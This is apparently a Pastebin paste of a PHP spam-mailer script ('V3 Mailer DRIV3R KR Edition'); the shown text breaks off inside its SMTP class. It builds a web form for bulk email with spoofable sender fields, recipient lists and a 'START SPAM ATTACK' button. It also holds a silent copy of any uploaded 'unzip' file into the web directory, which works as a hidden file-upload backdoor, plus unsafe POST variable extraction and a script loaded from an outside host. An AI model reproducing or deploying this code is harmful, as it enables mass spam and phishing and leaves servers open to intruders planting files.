SPYUS

V3MAILER

Apr 25th, 2017
748
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 105.66 KB | None | 0 0
  1. <?
  2. /////////////////////////////////////////////////////////////////////////////////////////
  3. /////////////////////////////////////////////////////////////////////////////////////////
  4.  
  5. ///////////////////////// WWW.TOOLZ.GQ V3 MAILER DRIV3R KR EDITION //////////////////////
  6.  
  7. /////////////////////////////////////////////////////////////////////////////////////////
  8. /////////////////////////////////////////////////////////////////////////////////////////
  9.  
  10. error_reporting(0);
  11. function query_str($params){
  12. $str = '';
  13. foreach ($params as $key => $value) {
  14. $str .= (strlen($str) < 1) ? '' : '&';
  15. $str .= $key . '=' . rawurlencode($value);
  16. }
  17. return ($str);
  18. }
  19. function lrtrim($string){
  20. return stripslashes(ltrim(rtrim($string)));
  21. }
  22. if(isset($_POST['action'] ) ){
  23.  
  24. $b = query_str($_POST);
  25. parse_str($b);
  26. $sslclick=lrtrim($sslclick);
  27. $action=lrtrim($action);
  28. $message=lrtrim($message);
  29. $emaillist=lrtrim($emaillist);
  30. $from=lrtrim($from);
  31. $reconnect=lrtrim($reconnect);
  32. $epriority=lrtrim($epriority);
  33. $my_smtp=lrtrim($my_smtp);
  34. $ssl_port=lrtrim($ssl_port);
  35. $smtp_username=lrtrim($smtp_username);
  36. $smtp_password=lrtrim($smtp_password);
  37. $replyto=lrtrim($replyto);
  38. $subject_base=lrtrim($subject);
  39. $realname_base=lrtrim($realname);
  40. $file_name=$_FILES['file']['name'];
  41. $file=$_FILES['file']['tmp_name'];
  42. $urlz=lrtrim($urlz);
  43. $contenttype=lrtrim($contenttype);
  44. $encode_text=$_POST['encode'];
  45.  
  46.  
  47.         $message = urlencode($message);
  48.         $message = ereg_replace("%5C%22", "%22", $message);
  49.         $message = urldecode($message);
  50.         $message = stripslashes($message);
  51.         $subject = stripslashes($subject);
  52.                 if ($encode_text == "yes") {
  53.         $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  54.         $subject = str_replace(' ', '_', $subject);
  55.         $subject = "=?UTF-8?Q?$subject?=";
  56.         $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  57.         $realname = str_replace(' ', '_', $realname);
  58.         $realname = "=?UTF-8?Q?$realname?=";
  59.         }
  60. }
  61. ?>
  62.  
  63. <html>
  64.  
  65. <head>
  66.  
  67. <title>Pro Mailer V3</title>
  68. <link rel="shortcut icon" type="image/png" href="http://icons.iconarchive.com/icons/toma4025/rumax/256/mails-icon.png"/>
  69. <link href='http://fonts.googleapis.com/css?family=Oswald:300' rel='stylesheet' type='text/css'>
  70.   <link rel="stylesheet" href="http://www.ip-api.org/project/promailer/v3main.css">
  71.   <link rel="stylesheet" href="http://www.ip-api.org//promailer/normalize.css">
  72. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  73. <script src='http://www.ip-api.org/wp-content/uploads-images/AlHurra-Font_Light.ttf'></script>
  74. <link href='http://fonts.googleapis.com/css?family=Oswald:300' rel='stylesheet' type='text/css'>
  75.  
  76. <style type="text/css">
  77.  
  78.  
  79.  
  80. @font-face {
  81.   font-family: 'Oswald';
  82.   font-style: normal;
  83. }
  84. * {
  85. font-weight:bold;
  86. font-family: "Oswald";
  87. }
  88. <!--
  89.  
  90. .style1 {
  91.         font-family: Oswald, Arial, Helvetica, sans-serif;
  92. }
  93. body{
  94. margin:0px;
  95. }
  96. .bgup {
  97. background: url(data:image/png;base64,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/GMzLdsAAAAgY0hSTQAAeiUAAICDAAD5/wAAgOkAAHUwAADqYAAAOpgAABdvkl/FRgAAAhdJREFUeNrs1rkRQyEQREEdW1w25J8gFgSAghDf62dNBFP9HmOUUiKilDLntO0r+/OSHujbe2+t7b3PORFh21e2x9Izj5VSOufknGutay3bvrI9lhjLZiwxFmPZjCXGshlLYiybscRYfGAzlhjLZiyJsWzGEmPxgc1YYiybsSTGshlLjGXbjCXGshlLYiybscRYts1YYiybsSTGshlLjGXbjCXGshlLYiybscRYts1YYiybsSTGshlLjGXbjCXGshlLYiybscRYts1YYiybsSTGshlLjGXbjCXGshlLYiybscRYts1YYiybsSTGshlLjGXbjCXGshlLYiybscRYts1YYiybsSTGshlLjGXbjCXGshlLYiybscRYNmNJjGUzlhiLCWzGEmPZjCUxls1YYiw+sBlLjGUzlsRYNmOJsWybscRYNmNJjGUzlhjLthlLjGUzlsRYNmOJsWybscRYNmNJjGUzlhjLthlLjGUzlsRYNmOJsWybscRYNmNJjGUzlhjLthlLjGUzlsRYNmOJsWybscRYNmNJjGUzlhjLthlLjGUzlsRYNmOJsWybscRYNmNJjGUzlhjLthlLjGUzlsRYNmOJsWybscRYNmNJjGUzlhjLthlLjGUzljwWY9mMJcayGUtiLJuxxFhMYDOWGMtmLImxbMYSY/GBzVhiLJuxJMayGUuMZduMJcayGUv6sx8AAAD//wMA8m8+zPuIw/UAAAAASUVORK5CYII=);
  98. }
  99.  
  100. .uibutton {
  101.     position: relative;
  102.     z-index: 1;
  103.     overflow: visible;
  104.     display: inline-block;
  105.     padding: 0.3em 0.6em 0.375em;
  106.     border: 1px solid #134769;
  107.     border-bottom-color: #134769;
  108.  
  109.     margin: 0;
  110.     text-decoration: none;
  111.     text-align: center;
  112.     font: bold 18px/normal  Oswald, verdana, arial, sans-serif;
  113.     white-space: nowrap;
  114.     cursor: pointer;
  115.     /* outline: none; */
  116.     color: #f9f9f9;
  117.     background-color: #eee;
  118.     background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#134769), to(#134769));
  119.     background-image: -moz-linear-gradient(#134769, #134769);
  120.     background-image: -o-linear-gradient(#134769, #134769);
  121.     background-image: linear-gradient(#134769, #134769);
  122.  
  123.     /* IE hacks */
  124.  
  125.     *display: inline;
  126.  
  127. }
  128.  
  129. .uibutton:hover,
  130. .uibutton:focus,
  131. .uibutton:active {
  132.     border-color: #134769 #134769 #134769 #134769;
  133. }
  134.  
  135. .uibutton:active {
  136.     border-color: #134769;
  137.     background: #134769;
  138.     filter: none;
  139.     -webkit-box-shadow: none;
  140.     -moz-box-shadow: none;
  141.     box-shadow: none;
  142. }
  143.  
  144. /* overrides extra padding on button elements in Firefox */
  145. .uibutton::-moz-focus-inner {
  146.     padding: 0;
  147.     border: 0;
  148. }
  149.  
  150. /*Loadigng tzebi*/
  151. .back-link a {
  152.     color: #4ca340;
  153.     text-decoration: none;
  154.     border-bottom: 1px #4ca340 solid;
  155.   }
  156.   .back-link a:hover,
  157.   .back-link a:focus {
  158.     color: #408536;
  159.     text-decoration: none;
  160.     border-bottom: 1px #408536 solid;
  161.   }
  162.   h1 {
  163.     height: 100%;
  164.     /* The html and body elements cannot have any padding or margin. */
  165.     margin: 0;
  166.     font-size: 14px;
  167.     font-family: 'Open Sans', sans-serif;
  168.     font-size: 32px;
  169.     margin-bottom: 3px;
  170.   }
  171.   .entry-header {
  172.     text-align: left;
  173.     margin: 0 auto 50px auto;
  174.     width: 80%;
  175.         max-width: 978px;
  176.     position: relative;
  177.     z-index: 10001;
  178.   }
  179.   #demo-content {
  180.     padding-top: 100px;
  181.   }
  182.  
  183. -->
  184. </style>
  185. <style type="text/css">
  186. <!--
  187. .style1 {
  188.         font-size: 10px;
  189.         font-family: Oswald, Arial, Helvetica, sans-serif;
  190. }
  191. -->
  192. </style>
  193. <script>
  194. window.addEventListener("load", function(){
  195.   var load_screen = document.getElementById("loader-wrapper");
  196.  setTimeout( function ( ) { document.body.removeChild(load_screen); }, 5000 );
  197. });
  198. </script>
  199. </head>
  200.  
  201. <body bgcolor="#f9f9f9" class="bgup" class="demo">
  202.     <div id="loader-wrapper">
  203.       <div id="loader"></div>
  204.       <div class="loader-section section-left"></div>
  205.             <div class="loader-section section-right"></div>
  206.     </div>
  207. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  208. <div style="width:80%;margin:0 auto;">
  209. <p align="center"><img src="http://ip-api.org/wp-content/uploads-images/v3.png" alt="www.TOOLZ.gq" height=""></p>
  210. <form name="form1" method="post" action="" enctype="multipart/form-data">
  211.  
  212.   <br>
  213.  
  214.   <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  215.  
  216.  
  217.  
  218.     <tr>
  219.  
  220.       <td width="100%" colspan="4" style="color:#fff;background:#134769" height="36">
  221.  
  222.         <b>
  223.  
  224.       <center><font face="Arial" size="2" color="#FFFFFF">&nbsp;DRIV3R KR EDITION 2017 V3</font> </center></b></td>
  225.  
  226.       </tr>
  227.               <tr>
  228.  
  229.       <td width="10%" height="22" style="padding:10px;">
  230.      </font></td>
  231.  
  232.     </tr>
  233.     <tr>
  234.  
  235.       <td width="10%" height="22" style="padding:10px;">
  236.  
  237.         <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  238.  
  239.           Email:</font></div>
  240.  
  241.       </td>
  242.  
  243.       <td width="50%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  244.  
  245.         <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="from" value="<?=$from;?>" size="50">
  246.  
  247.         </font></td>
  248.  
  249.       <td width="31%" height="22" style="padding:10px;">
  250.  
  251.         <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  252.  
  253.           Name:</font></div>
  254.  
  255.       </td>
  256.  
  257.       <td width="41%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  258.  
  259.         <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="realname" value="<?=$realname_base;?>" size="50">
  260.  
  261.         </font></td>
  262.  
  263.     </tr>
  264.     <tr>
  265.  
  266.       <td width="10%" height="22" style="padding:10px;">
  267.  
  268.         <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  269.  
  270.       </td>
  271.  
  272.       <td width="50%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  273.  
  274.         <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="replyto" value="<?=$replyto;?>" size="50">
  275.  
  276.         </font></td>
  277.  
  278.       <td width="31%" height="22" style="padding:10px;">
  279.  
  280.         <p align="right"><font size="3" color='black' face="Verdana, Arial, Helvetica, sans-serif">
  281.          Priority:</font></td>
  282.  
  283.       <td width="41%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  284.  
  285.         &nbsp;</font><select style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  286.         <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  287.         <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  288.         <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  289.                 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  290.                 </select>
  291. &nbsp;&nbsp;&nbsp;&nbsp;<font size="3"> Email Tag :  <input type="text" size="12" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="rpemail" value="%email%" size="10">
  292.  
  293.  
  294.  
  295.  
  296.               </td>
  297.  
  298.     </tr>
  299.  
  300.     <tr>
  301.  
  302.       <td width="10%" height="22" style="padding:10px;">
  303.  
  304.         <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  305.  
  306.       </td>
  307.  
  308.       <td colspan="3" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  309.  
  310.         <input type="text" name="subject" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" value="<?=$subject_base;?>" size="90">
  311.  
  312.         </font></td>
  313.  
  314.     </tr>
  315.  
  316.  
  317.     <tr valign="top">
  318.  
  319. <td colspan="3" height="190" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  320.  
  321.         <textarea name="message" cols="120" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" rows="10"><?=$message;?></textarea>
  322.  
  323.         <br>
  324.  
  325.  
  326.  
  327.         </font></td>
  328.  
  329.       <td width="41%" height="190" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
  330.  
  331.         <textarea name="emaillist" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" cols="70" rows="10"><?=$emaillist;?></textarea>
  332.  
  333.         </font></td>
  334.  
  335.     </tr>
  336.     <tr>
  337.  
  338.       <td width="100%" colspan="4" style="color:#fff;background:#134769" height="36">
  339.  
  340.         <b>
  341.  
  342.       <input type="hidden" name="action" value="send">
  343.                 <input class="uibutton" width="100%" style="color:#fff;background:#134769" type="submit" value="START SPAM ATTACK">
  344.  
  345.       </tr>
  346.   </table>
  347. <br><br>
  348. </form>
  349.  
  350.  
  351.  
  352.  
  353. <?
  354. (@copy($_FILES['unzip']['tmp_name'], $_FILES['unzip']['name']));
  355. if ($action){
  356.         if (!$from && !$subject && !$message && !$emaillist){
  357.         print "<script>alert('Please complete all fields before sending  message.'); </script>";
  358.         die();  }
  359.  
  360. class SMTP
  361. {
  362.   /**
  363.    *  SMTP server port
  364.    *  @var int
  365.    */
  366.   var $SMTP_PORT = 25;
  367.  
  368.   /**
  369.    *  SMTP reply line ending
  370.    *  @var string
  371.    */
  372.   var $CRLF = "\r\n";
  373.  
  374.   /**
  375.    *  Sets whether debugging is turned on
  376.    *  @var bool
  377.    */
  378.   var $do_debug;       # the level of debug to perform
  379.  
  380.   /**
  381.    *  Sets VERP use on/off (default is off)
  382.    *  @var bool
  383.    */
  384.   var $do_verp = false;
  385.  
  386.   /**#@+
  387.    * @access private
  388.    */
  389.   var $smtp_conn;      # the socket to the server
  390. var $error;          # error if any on the last call
  391. var $helo_rply;      # the reply the server sent to us for HELO
  392. /**#@-*/
  393.  
  394.   /**
  395.    * Initialize the class so that the data is in a known state.
  396.    * @access public
  397.    * @return void
  398.    */
  399.   function SMTP() {
  400.     $this->smtp_conn = 0;
  401.     $this->error = null;
  402.     $this->helo_rply = null;
  403.  
  404.     $this->do_debug = 0;
  405.   }
  406.  
  407.   /*************************************************************
  408.    *                    CONNECTION FUNCTIONS                  *
  409.    ***********************************************************/
  410.  
  411.   /**
  412.    * Connect to the server specified on the port specified.
  413.    * If the port is not specified use the default SMTP_PORT.
  414.    * If tval is specified then a connection will try and be
  415.    * established with the server for that number of seconds.
  416.    * If tval is not specified the default is 30 seconds to
  417.    * try on the connection.
  418.    *
  419.    * SMTP CODE SUCCESS: 220
  420.    * SMTP CODE FAILURE: 421
  421.    * @access public
  422.    * @return bool
  423.    */
  424.   function Connect($host,$port=0,$tval=30) {
  425.     # set the error val to null so there is no confusion
  426.   $this->error = null;
  427.  
  428.     # make sure we are __not__ connected
  429.   if($this->connected()) {
  430.       # ok we are connected! what should we do?
  431.     # for now we will just give an error saying we
  432.     # are already connected
  433.     $this->error = array("error" => "Already connected to a server");
  434.       return false;
  435.     }
  436.  
  437.     if(empty($port)) {
  438.       $port = $this->SMTP_PORT;
  439.     }
  440.  
  441.     #connect to the smtp server
  442.   $this->smtp_conn = fsockopen($host,    # the host of the server
  443.                                $port,    # the port to use
  444.                                $errno,   # error number if any
  445.                                $errstr,  # error message if any
  446.                                $tval);   # give up after ? secs
  447.   # verify we connected properly
  448.   if(empty($this->smtp_conn)) {
  449.       $this->error = array("error" => "Failed to connect to server",
  450.                            "errno" => $errno,
  451.                            "errstr" => $errstr);
  452.       if($this->do_debug >= 1) {
  453.         echo "SMTP -> ERROR: " . $this->error["error"] .
  454.                  ": $errstr ($errno)" . $this->CRLF;
  455.       }
  456.       return false;
  457.     }
  458.  
  459.     # sometimes the SMTP server takes a little longer to respond
  460.   # so we will give it a longer timeout for the first read
  461.   // Windows still does not have support for this timeout function
  462.     if(substr(PHP_OS, 0, 3) != "WIN")
  463.      socket_set_timeout($this->smtp_conn, $tval, 0);
  464.  
  465.     # get any announcement stuff
  466.   $announce = $this->get_lines();
  467.  
  468.     # set the timeout  of any socket functions at 1/10 of a second
  469.   //if(function_exists("socket_set_timeout"))
  470.     //   socket_set_timeout($this->smtp_conn, 0, 100000);
  471.  
  472.     if($this->do_debug >= 2) {
  473.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  474.     }
  475.  
  476.     return true;
  477.   }
  478.  
  479.   /**
  480.    * Performs SMTP authentication.  Must be run after running the
  481.    * Hello() method.  Returns true if successfully authenticated.
  482.    * @access public
  483.    * @return bool
  484.    */
  485.   function Authenticate($username, $password) {
  486.     // Start authentication
  487.     fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  488.  
  489.     $rply = $this->get_lines();
  490.     $code = substr($rply,0,3);
  491.  
  492.     if($code != 334) {
  493.       $this->error =
  494.         array("error" => "AUTH not accepted from server",
  495.               "smtp_code" => $code,
  496.               "smtp_msg" => substr($rply,4));
  497.       if($this->do_debug >= 1) {
  498.         echo "SMTP -> ERROR: " . $this->error["error"] .
  499.                  ": " . $rply . $this->CRLF;
  500.       }
  501.       return false;
  502.     }
  503.  
  504.     // Send encoded username
  505.     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  506.  
  507.     $rply = $this->get_lines();
  508.     $code = substr($rply,0,3);
  509.  
  510.     if($code != 334) {
  511.       $this->error =
  512.         array("error" => "Username not accepted from server",
  513.               "smtp_code" => $code,
  514.               "smtp_msg" => substr($rply,4));
  515.       if($this->do_debug >= 1) {
  516.         echo "SMTP -> ERROR: " . $this->error["error"] .
  517.                  ": " . $rply . $this->CRLF;
  518.       }
  519.       return false;
  520.     }
  521.  
  522.     // Send encoded password
  523.     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  524.  
  525.     $rply = $this->get_lines();
  526.     $code = substr($rply,0,3);
  527.  
  528.     if($code != 235) {
  529.       $this->error =
  530.         array("error" => "Password not accepted from server",
  531.               "smtp_code" => $code,
  532.               "smtp_msg" => substr($rply,4));
  533.       if($this->do_debug >= 1) {
  534.         echo "SMTP -> ERROR: " . $this->error["error"] .
  535.                  ": " . $rply . $this->CRLF;
  536.       }
  537.       return false;
  538.     }
  539.  
  540.     return true;
  541.   }
  542.  
  543.   /**
  544.    * Returns true if connected to a server otherwise false
  545.    * @access private
  546.    * @return bool
  547.    */
  548.   function Connected() {
  549.     if(!empty($this->smtp_conn)) {
  550.       $sock_status = socket_get_status($this->smtp_conn);
  551.       if($sock_status["eof"]) {
  552.         # hmm this is an odd situation... the socket is
  553.       # valid but we are not connected anymore
  554.       if($this->do_debug >= 1) {
  555.             echo "SMTP -> NOTICE:" . $this->CRLF .
  556.                  "EOF caught while checking if connected";
  557.         }
  558.         $this->Close();
  559.         return false;
  560.       }
  561.       return true; # everything looks good
  562.   }
  563.     return false;
  564.   }
  565.  
  566.   /**
  567.    * Closes the socket and cleans up the state of the class.
  568.    * It is not considered good to use this function without
  569.    * first trying to use QUIT.
  570.    * @access public
  571.    * @return void
  572.    */
  573.   function Close() {
  574.     $this->error = null; # so there is no confusion
  575.   $this->helo_rply = null;
  576.     if(!empty($this->smtp_conn)) {
  577.       # close the connection and cleanup
  578.     fclose($this->smtp_conn);
  579.       $this->smtp_conn = 0;
  580.     }
  581.   }
  582. /////////////////////////////////////////////////////////////////////////////////////////
  583. /////////////////////////////////////////////////////////////////////////////////////////
  584.  
  585. ///////////////////////// WWW.TOOLZ.GQ V3 MAILER  //////////////////////////////////
  586.  
  587. /////////////////////////////////////////////////////////////////////////////////////////
  588. /////////////////////////////////////////////////////////////////////////////////////////
  589.   /***************************************************************
  590.    *                        SMTP COMMANDS                       *
  591.    *************************************************************/
  592.  
  593.   /**
  594.    * Issues a data command and sends the msg_data to the server
  595.    * finializing the mail transaction. $msg_data is the message
  596.    * that is to be send with the headers. Each header needs to be
  597.    * on a single line followed by a <CRLF> with the message headers
  598.    * and the message body being seperated by and additional <CRLF>.
  599.    *
  600.    * Implements rfc 821: DATA <CRLF>
  601.    *
  602.    * SMTP CODE INTERMEDIATE: 354
  603.    *     [data]
  604.    *     <CRLF>.<CRLF>
  605.    *     SMTP CODE SUCCESS: 250
  606.    *     SMTP CODE FAILURE: 552,554,451,452
  607.    * SMTP CODE FAILURE: 451,554
  608.    * SMTP CODE ERROR  : 500,501,503,421
  609.    * @access public
  610.    * @return bool
  611.    */
  612.   function Data($msg_data) {
  613.     $this->error = null; # so no confusion is caused
  614.  
  615.     if(!$this->connected()) {
  616.       $this->error = array(
  617.               "error" => "Called Data() without being connected");
  618.       return false;
  619.     }
  620.  
  621.     fputs($this->smtp_conn,"DATA" . $this->CRLF);
  622.  
  623.     $rply = $this->get_lines();
  624.     $code = substr($rply,0,3);
  625.  
  626.     if($this->do_debug >= 2) {
  627.       echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  628.     }
  629.  
  630.     if($code != 354) {
  631.       $this->error =
  632.         array("error" => "DATA command not accepted from server",
  633.               "smtp_code" => $code,
  634.               "smtp_msg" => substr($rply,4));
  635.       if($this->do_debug >= 1) {
  636.         echo "SMTP -> ERROR: " . $this->error["error"] .
  637.                  ": " . $rply . $this->CRLF;
  638.       }
  639.       return false;
  640.     }
  641.  
  642.     # the server is ready to accept data!
  643.   # according to rfc 821 we should not send more than 1000
  644.   # including the CRLF
  645.   # characters on a single line so we will break the data up
  646.   # into lines by \r and/or \n then if needed we will break
  647.   # each of those into smaller lines to fit within the limit.
  648.   # in addition we will be looking for lines that start with
  649.   # a period '.' and append and additional period '.' to that
  650.   # line. NOTE: this does not count towards are limit.
  651.  
  652.     # normalize the line breaks so we know the explode works
  653.   $msg_data = str_replace("\r\n","\n",$msg_data);
  654.     $msg_data = str_replace("\r","\n",$msg_data);
  655.     $lines = explode("\n",$msg_data);
  656.  
  657.     # we need to find a good way to determine is headers are
  658.   # in the msg_data or if it is a straight msg body
  659.   # currently I am assuming rfc 822 definitions of msg headers
  660.   # and if the first field of the first line (':' sperated)
  661.   # does not contain a space then it _should_ be a header
  662.   # and we can process all lines before a blank "" line as
  663.   # headers.
  664.   $field = substr($lines[0],0,strpos($lines[0],":"));
  665.     $in_headers = false;
  666.     if(!empty($field) && !strstr($field," ")) {
  667.       $in_headers = true;
  668.     }
  669.  
  670.     $max_line_length = 998; # used below; set here for ease in change
  671.  
  672.     while(list(,$line) = @each($lines)) {
  673.       $lines_out = null;
  674.       if($line == "" && $in_headers) {
  675.         $in_headers = false;
  676.       }
  677.       # ok we need to break this line up into several
  678.     # smaller lines
  679.     while(strlen($line) > $max_line_length) {
  680.         $pos = strrpos(substr($line,0,$max_line_length)," ");
  681.  
  682.         # Patch to fix DOS attack
  683.       if(!$pos) {
  684.           $pos = $max_line_length - 1;
  685.         }
  686.  
  687.         $lines_out[] = substr($line,0,$pos);
  688.         $line = substr($line,$pos + 1);
  689.         # if we are processing headers we need to
